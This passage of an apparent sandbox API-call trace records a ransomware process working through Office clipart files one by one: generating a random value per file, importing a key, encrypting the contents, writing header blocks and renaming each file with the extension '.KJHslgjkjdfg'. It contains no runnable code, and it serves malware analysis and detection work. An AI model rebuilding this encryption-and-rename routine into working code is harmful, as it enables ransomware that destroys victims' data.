[0161.346] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b0, lpOverlapped=0x0) returned 1 [0161.346] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.346] SetEndOfFile (hFile=0x114) returned 1 [0161.363] GetProcessHeap () returned 0x2a0000 [0161.363] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.364] GetProcessHeap () returned 0x2a0000 [0161.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090779.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090779.wmf.kjhslgjkjdfg")) returned 1 [0161.365] CloseHandle (hObject=0x114) returned 1 [0161.365] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1 [0161.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.366] GetProcessHeap () returned 0x2a0000 [0161.366] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.367] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.367] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.369] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.369] GetProcessHeap () returned 0x2a0000 [0161.369] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.369] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.369] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.369] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.369] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.369] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.369] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.370] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.370] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.370] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.370] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14c2, lpOverlapped=0x0) returned 1 [0161.371] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x14d0) returned 1 [0161.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.371] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x14d0, lpOverlapped=0x0) returned 1 [0161.371] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.371] SetEndOfFile (hFile=0x114) returned 1 [0161.374] GetProcessHeap () returned 0x2a0000 [0161.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.374] GetProcessHeap () returned 0x2a0000 [0161.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090781.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090781.wmf.kjhslgjkjdfg")) returned 1 [0161.376] CloseHandle (hObject=0x114) returned 1 [0161.376] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1 [0161.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.376] GetProcessHeap () returned 0x2a0000 [0161.376] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.376] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.376] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0161.379] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.379] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.379] GetProcessHeap () returned 0x2a0000 [0161.379] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.379] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.379] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.379] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.379] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.379] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.380] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.380] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.380] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.380] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.380] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b16, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b16, lpOverlapped=0x0) returned 1 [0161.381] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b20) returned 1 [0161.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.381] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b20, lpOverlapped=0x0) returned 1 [0161.382] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.382] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.382] SetEndOfFile (hFile=0x114) returned 1 [0161.384] GetProcessHeap () returned 0x2a0000 [0161.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.384] GetProcessHeap () returned 0x2a0000 [0161.384] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090783.wmf.kjhslgjkjdfg")) returned 1 [0161.386] CloseHandle (hObject=0x114) returned 1 [0161.386] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1 [0161.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.387] GetProcessHeap () returned 0x2a0000 [0161.387] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.387] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.388] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.388] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.390] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.390] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.390] GetProcessHeap () returned 0x2a0000 [0161.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.390] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.390] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.390] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.390] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.390] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.391] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.391] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.391] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.391] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.391] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa442, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa442, lpOverlapped=0x0) returned 1 [0161.392] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa450, dwBufLen=0xa450 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa450) returned 1 [0161.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.393] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa450, lpOverlapped=0x0) returned 1 [0161.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.393] SetEndOfFile (hFile=0x114) returned 1 [0161.396] GetProcessHeap () returned 0x2a0000 [0161.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.396] GetProcessHeap () returned 0x2a0000 [0161.396] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.396] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0093905.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0093905.wmf.kjhslgjkjdfg")) returned 1 [0161.398] CloseHandle (hObject=0x114) returned 1 [0161.398] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1 [0161.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.399] GetProcessHeap () returned 0x2a0000 [0161.399] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.399] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.399] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.399] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.425] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.425] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.425] GetProcessHeap () returned 0x2a0000 [0161.425] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.425] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.425] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.425] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.426] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.426] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.426] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.426] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.426] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x136a, lpOverlapped=0x0) returned 1 [0161.428] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370, dwBufLen=0x1370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1370) returned 1 [0161.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.428] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1370, lpOverlapped=0x0) returned 1 [0161.428] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.428] SetEndOfFile (hFile=0x114) returned 1 [0161.431] GetProcessHeap () returned 0x2a0000 [0161.431] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.431] GetProcessHeap () returned 0x2a0000 [0161.431] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0098497.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0098497.wmf.kjhslgjkjdfg")) returned 1 [0161.433] CloseHandle (hObject=0x114) returned 1 [0161.433] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, 